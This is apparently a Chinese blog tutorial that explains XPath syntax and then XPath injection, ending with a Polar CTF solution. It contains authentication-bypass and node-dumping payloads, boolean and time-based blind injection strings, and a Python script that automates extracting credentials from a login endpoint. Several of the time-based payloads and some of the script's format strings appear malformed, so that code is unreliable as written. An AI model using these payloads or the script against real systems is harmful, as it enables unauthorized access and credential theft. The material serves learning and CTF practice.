0%

xml|xpath注入

前言:

打polar靶场的时候碰到了一题,感觉还挺有意思的,所以就整理一下知识点。

一、XPath

简介

XPath即为XML路径语言,是W3C XSLT标准的主要元素,它是一种用于在XML文档中定位信息的查询语言。就类似于SQL中的查询语言。XPath 使用路径表达式来选取 XML 文档中的节点或节点集,节点是通过沿着路径 (path) 或者步 (steps) 来选取的。

XPath 的基本语法

节点

XML文档是被作为节点树来对待的。树的根被称为文档节点或者根节点。

在XPath中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释和文档(根)节点

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/css" href="style.css"?>
<root xmlns:ad="http://example.com/ynpc">
<!-- This is a comment -->
<user id="1">
<group lang="cn">Yunxi</group>
<name>TG1u</name>
<year>2004</year>
<ad:genre>1111</ad:genre>
</user>
</root>
  • 元素节点: <root><user><group>等。
  • 属性节点: id="1"lang="cn"等。
  • 文本节点: YunxiTG1u等。
  • 命名空间节点: xmlns:ad="http://example.com/ynpc" 及其应用<ad:genre>
  • 处理指令节点: <?xml-stylesheet type="text/css" href="style.css"?>
  • 注释节点: <!-- This is a comment -->
  • 文档(根)节点:虽然不直接出现在 XML 内容中,但它是整个 XML 文件的容器,本例中由 <root> 作为根元素表示。

表达式

表达式用来从XML文档中选取节点的字符串。

1、路径:

  • 绝对路径:从根节点开始,以/开头

    1
    /root/user/name
  • 相对路径:从当前节点开始,不以/开头

    1
    user/name

2、节点选择:

  • 选择所有节点://

    1
    //user   # 选择文档中所有user元素
  • 选择当前节点:.

    1
    ./user   # 选择当前节点下的user元素
  • 选择父节点:..

    1
    ../user  # 选择父节点下的user元素

3、谓词 (Predicates):

用于查找特定节点或包含特定值的节点,写在方括号[]

1
2
3
/root/user[1]          # 选择第一个user元素
/root/user[last()] # 选择最后一个user元素
/root/user[year>2000] # 选择year大于2000的user元素

4、通配符:

  • *匹配任何元素节点

    1
    /root/*   # 选择root的所有子元素
  • @*匹配任何属性节点

    1
    //user[@*]     # 选择所有带有属性的user元素

5、属性选择

使用@选择属性

1
2
//user[@id]       # 选择有id属性的user元素
//user/@id # 选择所有user元素的id属性

6、文本选择

使用text()选择文本内容

1
//group/text()          # 选择所有group元素的文本

7、选取多个路径

使用管道符 | 合并多个路径:

1
//group | //name			# 选择所有group和name元素

运算符

1、比较运算符:

  • = (等于)
  • != (不等于)
  • < (小于)
  • <= (小于等于)
  • > (大于)
  • >= (大于等于)

2、逻辑运算符:

  • and (与)
  • or (或)
  • not() (非)

3、算术运算符:

  • + (加)
  • - (减)
  • * (乘)
  • div (除)
  • mod (取模)

函数

1、节点集函数

  • last():返回节点集中最后一个节点的位置
  • position():返回当前节点的位置
  • count(node-set) :返回节点集中的节点数
  • name():返回当前节点的名称
  • local-name():返回不带命名空间前缀的名称

2、字符串函数

  • string():将对象转换为字符串
  • concat(str1, str2, ...):连接字符串
  • contains(str1, str2):检查 str1 是否包含 str2
  • substring(str, start, len):获取子字符串
  • string-length(str):返回字符串长度
  • normalize-space(str):去除前后空格并将连续空格替换为单个空格

3、布尔函数

  • boolean():转换为布尔值
  • true():返回 true
  • false():返回 false
  • not(expr):逻辑非

4、 数值函数

  • number():转换为数值
  • sum(node-set):求和
  • floor(num):向下取整
  • ceiling(num):向上取整
  • round(num):四舍五入

示例:

1
2
//user[contains(name, "TG1u")]			# 选择user包含"TG1u"的name元素
//user[not(@*)] # 选择没有属性的user元素

轴 (Axes)

定义相对于当前节点的节点集

  • ancestor:所有祖先节点
  • ancestor-or-self:所有祖先节点及当前节点
  • attribute:所有属性
  • child:所有子节点
  • descendant:所有后代节点
  • descendant-or-self:所有后代节点及当前节点
  • following:文档中当前节点之后的所有节点
  • following-sibling:当前节点之后的所有同级节点
  • namespace:当前节点的命名空间节点
  • parent:父节点
  • preceding:文档中当前节点之前的所有节点
  • preceding-sibling:当前节点之前的所有同级节点
  • self:当前节点

用法:

1
轴名::节点[谓词]

示例:

1
2
//user/child::group          # 选择user的子group元素
//user/attribute::id # 选择user的id属性

示例

这里用php来测试几个语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
// 加载XML文件
$xml = simplexml_load_file('1.xml');
if ($xml === false) {
die('无法加载XML文件');
}

// XPath查询
$xpath = "//user[group]";
$result = $xml->xpath($xpath);

// 检查结果并输出
if ($result === false) {
echo "XPath查询失败";
} elseif (empty($result)) {
echo "没有找到匹配的节点";
} else {
// echo "<pre>";
// print_r($result);
// echo "</pre>";
foreach ($result as $user) {
echo $user->group . "~", $user->name . "~", $user->year . "<br>";

}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/css" href="style.css"?>
<root xmlns:ad="http://example.com/ynpc">
<!-- This is a comment -->
<user id="1">
<group lang="cn">Yunxi</group>
<name>TG1u</name>
<year>2004</year>
<ad:genre>1111</ad:genre>
</user>
<user id="2">
<group lang="cn">Yunxi</group>
<name>xiaoming</name>
<year>1999</year>
<ad:genre>2222</ad:genre>
</user>
<user>
<group lang="cn">Yunxi</group>
<name>xiaomei</name>
<year>2005</year>
<ad:genre>3333</ad:genre>
</user>
</root>

1、选择所有有group子元素的user元素:

1
//user[group]

2、选择year大于2000的user元素:

1
//user[year>2000]

3、选择user包含”TG1u”的name元素:

1
//user[contains(name, "TG1u")]

4、选择没有属性的user元素:

1
//user[not(@*)]

5、选择year等于2004的user元素的name:(这里用注释那部分,直接输出全部结果)

1
//user[year=2004]/name

6、选择user的子group元素

1
//user/child::group

7、选择user的id属性

1
//user/attribute::id

差不多就展示这些,其他的感兴趣的可以自己去试试。下面开始说xpath注入。

二、XPath注入

简介

XPath 注入是一种类似于 SQL 注入的安全漏洞,攻击者通过在应用程序的 XPath 查询中插入恶意代码,来获取未经授权的数据或破坏正常的查询逻辑。

原理

XPath 注入发生在应用程序使用用户输入直接构造 XPath 查询而没有进行适当过滤或转义时。攻击者可以修改查询的逻辑,从而实现

  • 绕过身份验证

  • 获取敏感数据

Xpath常规注入

获取敏感数据

其实就是在网站中利用传参输入上面示例的那些payload进行注入

这里就记住一个payload就行(其他的就根据题目具体打payload获取到需要的数据)

1
']|//*|//*['

该paylaod用于访问xml文档的所有节点

绕过身份验证

假设现在有一个网站是由xml和php实现的登录后端(懒得写,网上偷的源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
username:
<input type="text" name="username">
</p>
password:
<input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>
</html>
<?php
if(file_exists('1.xml')){
$xml=simplexml_load_file('1.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>admin</username>
<email>[email protected]</email>
<accounttype>administrator</accounttype>
<password>P@ssword123</password>
</user>
<user id="2">
<username>test</username>
<email>[email protected]</email>
<accounttype>normal</accounttype>
<password>123456</password>
</user>
</accounts>

登录验证使用如下XPath查询

1
/accounts/user[username='{$username}' and password='{$password}']

那么我们构造payload绕过密码的验证

1
admin' or '1'='1

此时的登录验证的XPath查询为

1
/accounts/user[username='admin' or '1'='1' and password='{$password}']

这样就绕过密码的验证可以直接登录了(跟sql就差不多)

Xpath盲注

xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息。

Xpath盲注步骤:

  • 判断根节点下的节点数
  • 判断根节点下节点长度&名称
  • 重复猜解完所有节点,获取最后的值

基于布尔的盲注

判断条件

1
2
' and '1'='1  	# 应返回true
' and '1'='2 # 应返回false

推断XML结构

1
2
3
' and count(/)=1 and '1'='1		# 测试根节点数量
' and count(/*)=1 and '1'='1 # 测试根节点下子节点数量
' and string-length(name(/*[1]))=8 and '1'='1 # 用string-length()判断根节点下的节点长度

逐字符提取数据

测试根节点下的节点名称

1
2
3
4
' and substring(name(/*[1]), 1, 1)='a'  and '1'='1	
' and substring(name(/*[1]), 2, 1)='c' and '1'='1
..
' and substring(name(/*[1]), 8, 1)='s' and '1'='1

接着就一直跟进这个过程直到获取到自己想要的数据

时间盲注

这里要注意xpath2.0+才存在内置延迟函数

判断条件

1
2
' and 1=1 and count(//*)<1000 or '
' and 1=1 and count(//*)>10000 or '

观察响应时间是否有明显差异

推断XML结构

1
2
3
' and count(/)=1 and then sleep(2) else 0)		# 测试根节点数量,如果延迟2秒则说明是1
' and count(/*)=1 and then sleep(2) else 0) # 测试根节点下子节点数量
' and string-length(name(/*[1]))=8 and then sleep(2) else 0) # 用string-length()判断根节点下的节点长度

逐字符提取数据

1
2
3
4
' and substring(name(/*[1]), 1, 1)='a'  and then sleep(2) else 0)	
' and substring(name(/*[1]), 2, 1)='c' and then sleep(2) else 0)
..
' and substring(name(/*[1]), 8, 1)='s' and then sleep(2) else 0)

自动化攻击

跟sql一样如果用手注还是比较麻烦的所以需要利用自动化攻击

这里就给出一个布尔盲注的exp(网上找的exp稍微改常规了一下,因为我还没碰到过xpath盲注的题),根据具体情况进行更改payload和请求(时间盲注就改paylaod判断就行)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import requests
import time
from functools import partial

class XPathBlindInjector:
def __init__(self, target_url, delay=0.2):
self.url = target_url
self.delay = delay
self.session = requests.Session()
self.charset = [chr(i) for i in range(33, 127)] # 所有可显示ASCII字符
self.timeout = 5

def send_payload(self, payload):
"""发送payload并返回响应"""
time.sleep(self.delay)
try:
resp = self.session.post(
self.url,
data=payload,
timeout=self.timeout
)
return resp
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
return None

def test_condition(self, payload_template, position, char):
"""测试特定位置的字符条件"""
payload = payload_template.format(position, char)
resp = self.send_payload(payload)
return resp and "非法操作" in resp.text

def brute_force_value(self, payload_template, max_length=50):
"""暴力破解特定值"""
result = ""
for pos in range(1, max_length + 1):
found = False
for char in self.charset:
if self.test_condition(payload_template, pos, char):
result += char
print(f"\r当前结果: {result}", end="", flush=True)
found = True
break

if not found:
print(f"\n位置 {pos} 未找到匹配字符,结束探测")
break

# 检查是否可能结束
test_payload = payload_template.format(pos + 1, '')
resp = self.send_payload(test_payload)
if resp and "用户名或密码错误" in resp.text:
print("\n检测到终止条件,结束探测")
break

return result

def detect_root(self):
"""探测根节点名称"""
print("\n[+] 正在探测根节点名称...")
payload = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
return self.brute_force_value(payload)

def detect_child_nodes(self, root_name):
"""探测子节点名称"""
print(f"\n[+] 正在探测 {root_name} 的子节点...")
payload = f"<username>'or substring(name(/{root_name}/*[1]), {{}}, {{}}' or ''='</username><password>1</password><token>{{}}</token>"
return self.brute_force_value(payload)

def detect_accounts_structure(self, root_name):
"""探测accounts节点结构"""
print(f"\n[+] 正在探测 {root_name}/accounts 结构...")
payload = f"<username>'or substring(name(/{root_name}/accounts/*[1]), {{}}, {{}}' or ''='</username><password>1</password><token>{{}}</token>"
return self.brute_force_value(payload)

def detect_user_structure(self, path):
"""探测user节点结构"""
print(f"\n[+] 正在探测 {path}/user 结构...")
payload = f"<username>'or substring(name({path}/user/*[1]), {{}}, {{}}' or ''='</username><password>1</password><token>{{}}</token>"
return self.brute_force_value(payload)

def extract_credentials(self, user_path, user_index=2):
"""提取用户名和密码"""
print(f"\n[+] 正在提取用户 #{user_index} 的凭据...")

# 提取用户名
print("[>] 正在提取用户名...")
user_payload = f"<username>'or substring({user_path}/user[{user_index}]/username/text(), {{}}, {{}}' or ''='</username><password>1</password><token>{{}}</token>"
username = self.brute_force_value(user_payload)

# 提取密码
print("[>] 正在提取密码...")
pass_payload = f"<username>'or substring({user_path}/user[{user_index}]/password/text(), {{}}, {{}}' or ''='</username><password>1</password><token>{{}}</token>"
password = self.brute_force_value(pass_payload)

return username, password

def full_exploit(self):
"""完整的自动化探测流程"""
print("[*] 开始XPath盲注自动化探测")

# 步骤1: 探测根节点
root = self.detect_root()
if not root:
print("[-] 无法确定根节点名称")
return

# 步骤2: 探测子节点
child = self.detect_child_nodes(root)
if not child:
print("[-] 无法确定子节点名称")
return

# 步骤3: 探测accounts结构
accounts_node = self.detect_accounts_structure(root)
if not accounts_node:
print("[-] 无法确定accounts结构")
return

# 步骤4: 探测user结构
user_struct = self.detect_user_structure(f"/{root}/{accounts_node}")
if not user_struct:
print("[-] 无法确定user结构")
return

# 步骤5: 提取凭据
full_path = f"/{root}/{accounts_node}"
username, password = self.extract_credentials(full_path)

print("\n[+] 探测完成!")
print(f"根节点: {root}")
print(f"子节点: {child}")
print(f"Accounts节点: {accounts_node}")
print(f"User子节点: {user_struct}")
print(f"提取的凭据 - 用户名: {username}, 密码: {password}")

return {
"root": root,
"child": child,
"accounts": accounts_node,
"user_structure": user_struct,
"credentials": {"username": username, "password": password}
}

# 使用示例
if __name__ == "__main__":
target_url = "http://example.com/login" # 替换为实际目标URL
injector = XPathBlindInjector(target_url, delay=0.3)

# 执行完整探测流程
results = injector.full_exploit()

# 或者单独执行某个步骤
# username, password = injector.extract_credentials("/root/accounts")

除了脚本还可以用自动化工具 xcat。工具具体使用参考 XCat文档

GET:

1
2
3
4
xcat run http://example.com/login query query=12345

//参数是query
//GET参数是query=Rogue

POST:

1
xcat run http://example.com/login --headers=request-body.txt

三、例题

polar靶场 注入

进入后点击,发现跳转得到一个用户名,并且变为?id=1

爆破了一下id也只得到了几个用户名,应该是php+xml的后端

直接打payload访问xml文档的所有节点就得到flag了

1
?id=']|//*|//*['

暂时只碰到过这一题后面会再加上的。。。